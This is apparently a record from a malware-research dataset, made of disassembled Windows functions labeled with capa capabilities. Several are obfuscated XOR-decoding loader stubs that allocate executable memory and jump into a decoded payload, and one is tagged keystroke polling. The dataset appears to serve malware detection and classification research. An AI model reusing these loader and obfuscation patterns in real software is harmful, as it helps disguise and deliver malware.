joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401900
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
pushal
call 0x40190f
pop dword [ebp - 0x10]
mov eax, 0x7a616448
sub eax, 0x7a214b39
sub dword [ebp - 0x10], eax
mov dword [ebp - 0x20], 0xd9d0ba86
add dword [ebp - 0x20], 0x74818ac5
mov dword [ebp - 0x1c], 0xc76dcdab
add dword [ebp - 0x1c], 0x6ac57e9a
mov dword [ebp - 0x18], 0xeec53a3f
sub dword [ebp - 0x18], 0xa278f611
mov dword [ebp - 0x14], 0xfd7fd4c5
add dword [ebp - 0x14], 0x2802b3b
lea eax, [ebp - 0x20]
push eax
mov eax, 0xf658f157
add eax, 0x9e83f41
add eax, dword [ebp - 0x10]
call dword [eax]
mov dword [ebp - 0x20], 0x3c508b1b
sub dword [ebp - 0x20], 0xc7de21c5
mov dword [ebp - 0x1c], 0xf0b1dff5
add dword [ebp - 0x1c], 0x50ba8180
mov dword [ebp - 0x18], 0xa5dcf4e8
add dword [ebp - 0x18], 0xbd927784
mov dword [ebp - 0x14], 0x6d2456a4
add dword [ebp - 0x14], 0x92dba95c
lea ebx, [ebp - 0x20]
push ebx
push eax
mov eax, 0x9502d941
add eax, 0x6b3e56f7
add eax, dword [ebp - 0x10]
call dword [eax]
push 0x40
push 0x1000
push 0x34fc4
push 0
call eax
mov ecx, 0xa8d5d17f
add ecx, 0x572a6625
xor edx, edx
add edx, eax
mov esi, 0xdb0b4782
add esi, 0x25365c7e
add esi, dword [ebp - 0x10]
mov ebx, 0xd5260678
sub dword [ebp - 0xc], edi
mov edi, dword [esi]
add dword [ebp - 8], 0x4c73b393
add edi, ebx
xor dword [ebp - 0xc], 0xbc9842f0
mov dword [edx], edi
sub dword [ebp - 4], esi
add edx, 4
add esi, 0x2fdc76db
sub esi, 0x2fdc76d7
loop 0x401a2d
add eax, 0x374535da
sub eax, 0x37446477
mov ebx, eax
add eax, 0x828fdf08
sub eax, 0x828fdf03
mov ecx, 0x7500af6e
add ecx, 0x8b3f5092
add ecx, dword [ebp - 0x10]
call ebx
leave
ret

Function at 0x407a60
Capabilities:
Link many functions at runtime

Disassembly:
push edi
mov edi, ecx
cmp dword [edi + 0x34], 0
jne 0x407b30
push ebx
push esi
push str.mapi32.dll
call dword [sym.imp.kernel32.dll_LoadLibraryA]
push 0xc
mov dword [edi + 0x18], eax
call dword [sym.imp.MSVCR120.dll_void____cdecl_operator_new_unsigned_int_]
mov esi, dword [sym.imp.kernel32.dll_GetProcAddress]
mov ebx, eax
add esp, 4
test ebx, ebx
je 0x407ad0
xorps xmm0, xmm0
movq qword [ebx], xmm0
push str.MAPIFreeBuffer
mov dword [ebx + 8], 0
push dword [edi + 0x18]
call esi
push str.MAPIAllocateBuffer
push dword [edi + 0x18]
mov esi, eax
call dword [sym.imp.kernel32.dll_GetProcAddress]
mov dword [ebx + 8], esi
mov esi, dword [sym.imp.kernel32.dll_GetProcAddress]
mov dword [ebx], vtable.MapiAllocator.0
mov dword [ebx + 4], eax
jmp 0x407ad2
xor ebx, ebx
push str.MAPIInitialize
push dword [edi + 0x18]
mov dword [edi + 0x1c], ebx
call esi
push str.MAPIUninitialize
push dword [edi + 0x18]
mov dword [edi + 0x24], eax
call esi
push str.MAPILogonEx
push dword [edi + 0x18]
mov dword [edi + 0x28], eax
call esi
push str.MAPIAdminProfiles
push dword [edi + 0x18]
mov dword [edi + 0x2c], eax
call esi
mov dword [edi + 0x30], eax
mov eax, dword [edi + 0x24]
pop esi
pop ebx
test eax, eax
je 0x407b30
cmp dword [edi + 0x28], 0
je 0x407b30
cmp dword [edi + 0x2c], 0
je 0x407b30
push 0
call eax
mov dword [edi + 0x14], eax
test eax, eax
js 0x407b30
mov dword [edi + 0x34], 1
pop edi
ret
Function at 0x40344c
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
pushal
call 0x40345b
pop dword [ebp - 0x48]
mov eax, 0x2f352171
sub eax, 0x2ef4ed16
sub dword [ebp - 0x48], eax
mov dword [ebp - 0x58], 0xdc10b3f7
sub dword [ebp - 0x58], 0x8dbe6eac
mov dword [ebp - 0x54], 0x10fd0047
add dword [ebp - 0x54], 0x21364bfe
mov dword [ebp - 0x50], 0xcbeab1db
sub dword [ebp - 0x50], 0x7f9e6dad
mov dword [ebp - 0x4c], 0x95f44c
add dword [ebp - 0x4c], 0xff6a0bb4
lea eax, [ebp - 0x58]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x48]
call dword [eax]
mov dword [ebp - 0x58], 0x51bc7dc6
sub dword [ebp - 0x58], 0xdd4a1470
mov dword [ebp - 0x54], 0xf0e8e02b
add dword [ebp - 0x54], 0x5083814a
mov dword [ebp - 0x50], 0xc266b6a2
sub dword [ebp - 0x50], 0x5ef74a36
mov dword [ebp - 0x4c], 0x6bdbfed2
sub dword [ebp - 0x4c], 0x6bdbfed2
lea ebx, [ebp - 0x58]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x48]
call dword [eax]
push 0x40
push 0x1000
push 0x33d27
push 0
call eax
mov ecx, 0x3bd4
xor edx, edx
add edx, eax
mov ebx, 0x2b7dc43b
sub ebx, 0x2b3d403b
add ebx, dword [ebp - 0x48]
mov edi, 0x9817178a
xor dword [ebp - 0x14], 0x9bc54806
mov esi, dword [ebx]
xor dword [ebp - 0x10], 0x543585c6
xor esi, edi
sub dword [ebp - 0x24], eax
mov dword [edx], esi
add edx, 0x6e6f99af
sub edx, 0x6e6f99ab
add ebx, 4
loop 0x403569
add eax, 0x33ea74e4
add eax, 0xcc166d3f
mov ebx, eax
add eax, 5
mov ecx, 0x400000
add ecx, dword [ebp - 0x48]
call ebx
leave
ret
Function at 0x10029a64
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x60
pushal
call 0x10029a73
pop dword [ebp - 0x50]
mov eax, 0x10029a73
sub dword [ebp - 0x50], eax
mov dword [ebp - 0x60], 0x5c0da5c7
sub dword [ebp - 0x60], 0xdbb607c
mov dword [ebp - 0x5c], 0x4a094a9
sub dword [ebp - 0x5c], 0xd26d4864
mov dword [ebp - 0x58], 0x47d512c1
sub dword [ebp - 0x58], 0xfb88ce93
mov dword [ebp - 0x54], 0x7f91ab95
add dword [ebp - 0x54], 0x806e546b
lea eax, [ebp - 0x60]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x50]
call dword [eax]
mov dword [ebp - 0x60], 0x8cdd6d55
add dword [ebp - 0x60], 0xe794fc01
mov dword [ebp - 0x5c], 0xa1faefe1
add dword [ebp - 0x5c], 0x9f717194
mov dword [ebp - 0x58], 0x7176f371
add dword [ebp - 0x58], 0xf1f878fb
mov dword [ebp - 0x54], 0x2a7d5d07
sub dword [ebp - 0x54], 0x2a7d5d07
lea ebx, [ebp - 0x60]
push ebx
push eax
mov eax, 0x4e66c543
sub eax, 0x3e6334e3
add eax, dword [ebp - 0x50]
call dword [eax]
push 0x40
push 0x1000
push 0x35f83
push 0
call eax
mov ecx, 0x11c7bc5
sub ecx, 0x11c413c
xor ebx, ebx
add ebx, eax
mov esi, 0x10053800
add esi, dword [ebp - 0x50]
mov edx, 0xf6f58ab0
add dword [ebp - 0x34], 0x9efc87e3
mov edi, dword [esi]
sub dword [ebp - 0x20], ecx
xor edi, edx
mov dword [ebp - 0x18], 0xe3624fb4
mov dword [ebx], edi
xor dword [ebp - 0x3c], 0x8e87691d
add ebx, 0xbc7e526e
add ebx, 0x4381ad96
add esi, 4
loop 0x10029b81
add eax, 0x31d103d1
sub eax, 0x31d026da
xor ebx, ebx
add ebx, eax
add eax, 0xaddc92ea
sub eax, 0xaddc92e5
mov ecx, sym.EXPSRV.dll_Ordinal_790
add ecx, dword [ebp - 0x50]
call ebx
leave
ret

Function at 0x10029dae
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x100436e0]
jne 0x10029db8
repz ret
jmp fcn.1002a2cf
Function at 0x40b010
Capabilities:
Set console window title

Disassembly:
sub esp, 0x428
mov eax, dword [0x818030]
xor eax, esp
mov dword [esp + 0x424], eax
mov eax, dword [0x2ff801c]
push ebx
mov ebx, dword [0x2ff7e68]
push esi
mov esi, dword [0x818f60]
push edi
mov edi, eax
cmp eax, 0x930
jne 0x40b051
push 0x816e6c
call dword [sym.imp.KERNEL32.dll_SetConsoleTitleW]
mov eax, dword [0x2ff801c]
mov dword [0x81a8f4], esi
cmp eax, 0x114e
jne 0x40b07b
push 0
call dword [sym.imp.KERNEL32.dll_HeapDestroy]
lea eax, [esp + 0x14]
push eax
push str.liyezejozonoduhu
call dword [sym.imp.KERNEL32.dll_BuildCommDCBA]
mov eax, dword [0x2ff801c]
cmp eax, 0x2f
jne 0x40b0b3
push 0
push 0
call dword [sym.imp.KERNEL32.dll_IsValidLocale]
lea ecx, [esp + 0x10]
push ecx
lea edx, [esp + 0x10]
push edx
push 0
lea eax, [esp + 0x3c]
push eax
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_ReadEventLogA]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FindNextVolumeW]
call fcn.0040af50
mov ecx, dword [esp + 0x430]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.00401070
add esp, 0x428
ret
Function at 0x403088
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
movzx eax, word [0x4da020]
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push eax
push 1
push 0
push 0x403120
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
jne 0x403100
xor eax, eax
push ebp
push 0x4030f9
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0xc], 4
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
push 0
push 0
push 0x40313c
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegQueryValueExA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x403100
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegCloseKey
ret
mov ax, word [0x4da020]
and ax, 0xffc0
mov dx, word [ebp - 8]
and dx, 0x3f
or ax, dx
mov word [0x4da020], ax
mov esp, ebp
pop ebp
ret

Function at 0x403dec
Capabilities:
Write file on windows

Disassembly:
push ecx
cmp byte [0x4e804c], 0
je 0x403e4d
cmp word [0x4e8220], 0xd7b2
jne 0x403e15
cmp dword [0x4e8228], 0
jbe 0x403e15
mov eax, 0x4e821c
call dword [0x4e8238]
push 0
lea eax, [esp + 4]
push eax
push 0x1e
push 0x4da06c
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
push 0
lea eax, [esp + 4]
push eax
push 2
push 0x403e74
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
pop edx
ret
cmp byte [0x4da030], 0
jne 0x403e69
push 0
push 0x4da064
push 0x4da06c
push 0
call sub.user32.dll_MessageBoxA
pop edx
ret

Function at 0x403fc0
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, ecx
mov esi, edx
mov ebx, eax
mov eax, 8
call fcn.00402748
mov dword [eax], edi
mov edx, dword [ebp + 0x10]
mov dword [eax + 4], edx
mov byte [0x4e804d], 1
mov edx, dword [ebp + 8]
push edx
mov edx, dword [ebp + 0xc]
push edx
push eax
mov eax, 0x403f88
push eax
push esi
push ebx
call sub.kernel32.dll_CreateThread
pop edi
pop esi
pop ebx
pop ebp
ret 0xc
Function at 0x405718
Capabilities:
Get geographical location
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffee0
push ebx
push esi
mov dword [ebp - 4], eax
push 0x105
lea eax, [ebp - 0x11d]
push eax
push 0
call sub.kernel32.dll_GetModuleFileNameA
mov byte [ebp - 0x12], 0
lea eax, [ebp - 8]
push eax
push 0xf0019
push 0
push 0x405948
push 0x80000001
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
je 0x40579b
lea eax, [ebp - 8]
push eax
push 0xf0019
push 0
push 0x405948
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
je 0x40579b
lea eax, [ebp - 8]
push eax
push 0xf0019
push 0
push 0x405964
push 0x80000001
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
jne 0x405824
xor eax, eax
push ebp
push 0x40581d
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0x18], 5
lea eax, [ebp - 0x11d]
mov edx, 0x105
call fcn.00405560
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x12]
push eax
push 0
push 0
lea eax, [ebp - 0x11d]
push eax
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_RegQueryValueExA
test eax, eax
je 0x405802
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x12]
push eax
push 0
push 0
push 0x405984
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_RegQueryValueExA
test eax, eax
je 0x405802
mov byte [ebp - 0x12], 0
mov byte [ebp - 0xe], 0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x405824
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_RegCloseKey
ret
push 0x105
mov eax, dword [ebp - 4]
push eax
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_lstrcpynA
push 5
lea eax, [ebp - 0xd]
push eax
push 3
call sub.kernel32.dll_GetThreadLocale
push eax
call sub.kernel32.dll_GetLocaleInfoA
xor esi, esi
cmp byte [ebp - 0x11d], 0
je 0x40593e
cmp byte [ebp - 0xd], 0
jne 0x40586b
cmp byte [ebp - 0x12], 0
je 0x40593e
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_lstrlenA
mov ebx, eax
lea eax, [ebp - 0x11d]
add ebx, eax
jmp 0x405884
dec ebx
cmp byte [ebx], 0x2e
je 0x405893
lea eax, [ebp - 0x11d]
cmp ebx, eax
jne 0x405883
lea eax, [ebp - 0x11d]
cmp ebx, eax
je 0x40593e
inc ebx
cmp byte [ebp - 0x12], 0
je 0x4058d0
mov edx, ebx
sub edx, eax
mov eax, 0x105
sub eax, edx
push eax
lea eax, [ebp - 0x12]
push eax
push ebx
call sub.kernel32.dll_lstrcpynA
push 2
push 0
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_LoadLibraryExA
mov esi, eax
test esi, esi
jne 0x40593e
cmp byte [ebp - 0xd], 0
je 0x40593e
lea eax, [ebp - 0x11d]
mov edx, ebx
sub edx, eax
mov eax, 0x105
sub eax, edx
push eax
lea eax, [ebp - 0xd]
push eax
push ebx
call sub.kernel32.dll_lstrcpynA
push 2
push 0
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_LoadLibraryExA
mov esi, eax
test esi, esi
jne 0x40593e
mov byte [ebp - 0xb], 0
lea eax, [ebp - 0x11d]
mov edx, ebx
sub edx, eax
mov eax, 0x105
sub eax, edx
push eax
lea eax, [ebp - 0xd]
push eax
push ebx
call sub.kernel32.dll_lstrcpynA
push 2
push 0
lea eax, [ebp - 0x11d]
push eax
call sub.kernel32.dll_LoadLibraryExA
mov esi, eax
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x406010
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
xor edx, edx
mov dword [ebp - 0x10], edx
xor edx, edx
push ebp
push 0x406076
push dword fs:[edx]
mov dword fs:[edx], esp
push 7
lea edx, [ebp - 0xb]
push edx
push 0x1004
push eax
call sub.kernel32.dll_GetLocaleInfoA
lea eax, [ebp - 0x10]
lea edx, [ebp - 0xb]
mov ecx, 7
call fcn.0040427c
mov eax, dword [ebp - 0x10]
lea edx, [ebp - 4]
call fcn.00402c0c
mov ebx, eax
cmp dword [ebp - 4], 0
je 0x406060
xor ebx, ebx
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40607d
lea eax, [ebp - 0x10]
call fcn.0040400c
ret

Function at 0x408ce8
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebx
mov ebx, eax
mov eax, ebx
call fcn.004044cc
push eax
call sub.kernel32.dll_GetFileAttributesA
cmp eax, 0xffffffff
je 0x408d01
test al, 0x10
jne 0x408d05
xor eax, eax
pop ebx
ret
mov al, 1
pop ebx
ret

Function at 0x40b910
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff00
push ebx
push esi
mov esi, ecx
mov ebx, dword [ebp + 8]
push pe_nt_image_headers32
lea ecx, [ebp - 0x100]
push ecx
push edx
push eax
call sub.kernel32.dll_GetLocaleInfoA_1
test eax, eax
jle 0x40b949
mov ecx, eax
dec ecx
lea edx, [ebp - 0x100]
mov eax, ebx
call fcn.004040fc
jmp 0x40b952
mov eax, ebx
mov edx, esi
call fcn.00404060
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x40b95c
Capabilities:
Get geographical location

Disassembly:
push ebx
push esi
push edi
push ecx
mov ebx, ecx
mov esi, edx
mov edi, eax
push 2
lea eax, [esp + 4]
push eax
push esi
push edi
call sub.kernel32.dll_GetLocaleInfoA_1
test eax, eax
jle 0x40b97d
mov al, byte [esp]
jmp 0x40b97f
mov eax, ebx
pop edx
pop edi
pop esi
pop ebx
ret

Function at 0x40c004
Capabilities:
Write file on windows

Disassembly:
add esp, 0xfffffbbc
push 0x400
lea ecx, [esp + 0x48]
call 0x40be7c
mov eax, dword [0x4e7154]
cmp byte [eax], 0
je 0x40c080
mov eax, dword [0x4e6c7c]
call fcn.00402a3c
call fcn.004028b0
lea eax, [esp + 0x44]
push eax
lea eax, [esp + 0x48]
push eax
call sub.user32.dll_CharToOemA
push 0
lea eax, [esp + 4]
push eax
lea eax, [esp + 0x4c]
call fcn.00408fc8
push eax
lea eax, [esp + 0x50]
push eax
push 0xfffffffffffffff4
call sub.kernel32.dll_GetStdHandle_1
push eax
call sub.kernel32.dll_WriteFile_1
push 0
lea eax, [esp + 4]
push eax
push 2
push 0x40c0c8
push 0xfffffffffffffff4
call sub.kernel32.dll_GetStdHandle_1
push eax
call sub.kernel32.dll_WriteFile_1
jmp 0x40c0b6
push 0x40
lea eax, [esp + 8]
push eax
mov eax, dword [0x4e6bcc]
mov eax, dword [eax + 4]
push eax
mov eax, dword [0x4e8668]
call fcn.00405524
push eax
call sub.user32.dll_LoadStringA_1
push 0x2010
lea eax, [esp + 8]
push eax
lea eax, [esp + 0x4c]
push eax
push 0
call sub.user32.dll_MessageBoxA_1
add esp, 0x444
ret
Function at 0x40c970
Capabilities:
Get file version info

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe8
push ebx
xor edx, edx
mov dword [ebp - 8], edx
mov ebx, eax
xor eax, eax
push ebp
push 0x40ca46
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 4], 0xffffffff
lea eax, [ebp - 8]
mov edx, ebx
call fcn.004040a4
lea eax, [ebp - 8]
call fcn.0040451c
lea eax, [ebp - 0xc]
push eax
mov eax, dword [ebp - 8]
call fcn.004044cc
push eax
call sub.version.dll_GetFileVersionInfoSizeA
mov ebx, eax
test ebx, ebx
je 0x40ca30
mov eax, ebx
call fcn.00402748
mov dword [ebp - 0x10], eax
xor eax, eax
push ebp
push 0x40ca29
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 0x10]
push eax
push ebx
mov eax, dword [ebp - 0xc]
push eax
mov eax, dword [ebp - 8]
call fcn.004044cc
push eax
call sub.version.dll_GetFileVersionInfoA
test eax, eax
je 0x40ca13
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x14]
push eax
push 0x40ca58
mov eax, dword [ebp - 0x10]
push eax
call sub.version.dll_VerQueryValueA
test eax, eax
je 0x40ca13
mov eax, dword [ebp - 0x14]
mov eax, dword [eax + 8]
mov dword [ebp - 4], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40ca30
mov eax, dword [ebp - 0x10]
call fcn.00402768
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40ca4d
lea eax, [ebp - 8]
call fcn.0040400c
ret

Function at 0x40cfc4
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
xor edx, edx
mov dword [ebp - 0xc], edx
xor edx, edx
push ebp
push 0x40d028
push dword fs:[edx]
mov dword fs:[edx], esp
push 7
lea edx, [ebp - 7]
push edx
push 0x1004
push eax
call sub.kernel32.dll_GetLocaleInfoA_1
lea eax, [ebp - 0xc]
lea edx, [ebp - 7]
mov ecx, 7
call fcn.0040427c
mov eax, dword [ebp - 0xc]
push eax
call sub.kernel32.dll_GetACP
mov edx, eax
pop eax
call fcn.00408914
mov ebx, eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40d02f
lea eax, [ebp - 0xc]
call fcn.0040400c
ret

Function at 0x41ecd0
Capabilities:
Resume thread

Disassembly:
push ebx
push esi
mov ebx, eax
mov eax, dword [ebx + 4]
push eax
call sub.kernel32.dll_ResumeThread
mov esi, eax
test esi, esi
setge dl
mov eax, ebx
call fcn.0041eb28
dec esi
jne 0x41ecf2
mov byte [ebx + 0xe], 0
pop esi
pop ebx
ret
Function at 0x41fe34
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, 0x4e888c
cmp dword [edi], 0
jne 0x41feb0
push 0x40
push 0x1000
push 0x1000
push 0
call sub.kernel32.dll_VirtualAlloc_1
mov esi, eax
mov eax, dword [0x4e8888]
mov dword [esi], eax
lea edx, [esi + 4]
mov eax, 0x4da40c
mov ecx, 2
call fcn.00402944
mov edx, 0x41fe0c
lea eax, [esi + 5]
call fcn.0041fe2c
mov dword [esi + 6], eax
lea ebx, [esi + 0xa]
mov byte [ebx], 0xe8
lea edx, [esi + 4]
mov eax, ebx
call fcn.0041fe2c
mov dword [ebx + 1], eax
mov eax, dword [edi]
mov dword [ebx + 5], eax
mov dword [edi], ebx
add ebx, 0xd
mov eax, ebx
sub eax, esi
cmp eax, 0xffc
jl 0x41fe85
mov dword [0x4e8888], esi
mov eax, dword [edi]
mov ebx, dword [edi]
mov edx, dword [ebx + 5]
mov dword [edi], edx
mov edx, dword [ebp + 8]
mov dword [ebx + 5], edx
mov edx, dword [ebp + 0xc]
mov dword [ebx + 9], edx
pop edi
pop esi
pop ebx
pop ebp
ret 8

Function at 0x421404
Capabilities:
Encode data using xor

Disassembly:
mov ecx, edx
mov edx, eax
xor eax, eax
rol ax, 5
xor al, byte [edx]
inc edx
dec ecx
jne 0x42140a
ret

Function at 0x423858
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd4
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
lea eax, [ebp - 0x2c]
push eax
call sub.kernel32.dll_GetSystemInfo
mov edx, dword [ebp - 4]
mov ecx, dword [ebp - 8]
dec ecx
js 0x4238a9
lea eax, [ebp - 0x2c]
cmp word [eax + 0x20], 3
je 0x423890
mov eax, dword [edx + ecx*4]
bswap eax
shr eax, 8
mov dword [edx + ecx*4], eax
dec ecx
jns 0x423880
jmp 0x4238a9
push ebx
xor ebx, ebx
mov eax, dword [edx + ecx*4]
mov bh, al
mov bl, ah
shr eax, 0x10
shl ebx, 8
mov bl, al
mov dword [edx + ecx*4], ebx
dec ecx
jns 0x423891
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4310a8
Capabilities:
Enumerate gui resources

Disassembly:
mov byte [eax + 0xc], 0
mov byte [eax + 0xd], 0
xor edx, edx
mov dword [eax + 4], edx
push eax
push 0x430ff4
call sub.user32.dll_EnumWindows
ret

Function at 0x4311c8
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
push 0
push ebx
push esi
mov esi, eax
xor eax, eax
push ebp
push 0x431245
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, esi
call fcn.00430c28
call sub.kernel32.dll_GetTickCount
mov ebx, eax
push 0
call sub.kernel32.dll_Sleep
call sub.kernel32.dll_GetTickCount
sub eax, ebx
cmp eax, 0x3e8
jbe 0x4311ed
lea ecx, [ebp - 4]
xor edx, edx
mov eax, esi
call fcn.00430828
cmp dword [ebp - 4], 0
je 0x43122f
push 0
push 9
mov eax, dword [ebp - 4]
call fcn.004044cc
push eax
mov eax, dword [esi + 0x1c]
mov edx, dword [eax]
call dword [edx + 0xc]
push eax
call sub.user32.dll_WinHelpA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x43124c
lea eax, [ebp - 4]
call fcn.0040400c
ret

Function at 0x4340c0
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd8
push ebx
push esi
push edi
mov esi, eax
lea edi, [ebp - 9]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov dword [ebp - 0x10], edx
xor eax, eax
mov dword [ebp - 0x18], eax
cmp dword [0x4e8b5c], 0
je 0x43420f
push 0x11
call sub.user32.dll_GetKeyState
test ax, 0x8000
setne al
mov edx, dword [0x4e704c]
mov edx, dword [edx]
xor al, byte [edx + 0xb4]
je 0x43420f
mov eax, dword [0x4e8b60]
mov edx, dword [eax]
call dword [edx + 8]
mov eax, dword [0x4e8b5c]
mov ebx, dword [eax + 8]
dec ebx
test ebx, ebx
jl 0x4341de
inc ebx
xor edi, edi
mov edx, edi
mov eax, dword [0x4e8b5c]
call fcn.00418228
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
cmp eax, dword [ebp - 0x10]
je 0x4341d6
mov eax, dword [ebp - 0x14]
cmp byte [eax + 0x1a6], 0
je 0x4341d6
mov eax, dword [ebp - 0x14]
mov edx, dword [eax]
call dword [edx + 0x50]
test al, al
je 0x4341d6
mov eax, dword [ebp - 0x14]
call fcn.0043cd30
push eax
call sub.user32.dll_IsWindowVisible
test eax, eax
je 0x4341d6
push ebp
call fcn.0043407c
pop ecx
test al, al
jne 0x4341d6
mov eax, dword [ebp - 0x10]
mov eax, dword [eax + 0xa0]
cmp eax, dword [ebp - 0x14]
jne 0x434192
mov eax, dword [ebp - 0x14]
call fcn.0043b828
dec eax
jle 0x4341d6
mov byte [ebp - 1], 1
lea eax, [ebp - 9]
push eax
lea eax, [ebp - 1]
push eax
lea ecx, [ebp - 0x28]
mov edx, dword [ebp - 0x10]
mov eax, dword [ebp - 0x14]
mov si, 0xffbd
call fcn.00403414
cmp byte [ebp - 1], 0
je 0x4341d6
push dword [ebp - 5]
push dword [ebp - 9]
lea eax, [ebp - 0x28]
push eax
call sub.user32.dll_PtInRect
test eax, eax
je 0x4341d6
mov edx, dword [ebp - 0x14]
mov eax, dword [0x4e8b60]
call fcn.00433848
inc edi
dec ebx
jne 0x434125
mov eax, dword [0x4e8b60]
cmp dword [eax + 8], 0
jle 0x4341f6
mov eax, dword [0x4e8b60]
call fcn.004338d8
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
je 0x43420f
push ebp
mov eax, dword [ebp - 0x18]
call fcn.00433ee4
pop ecx
test al, al
jne 0x43420f
xor eax, eax
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret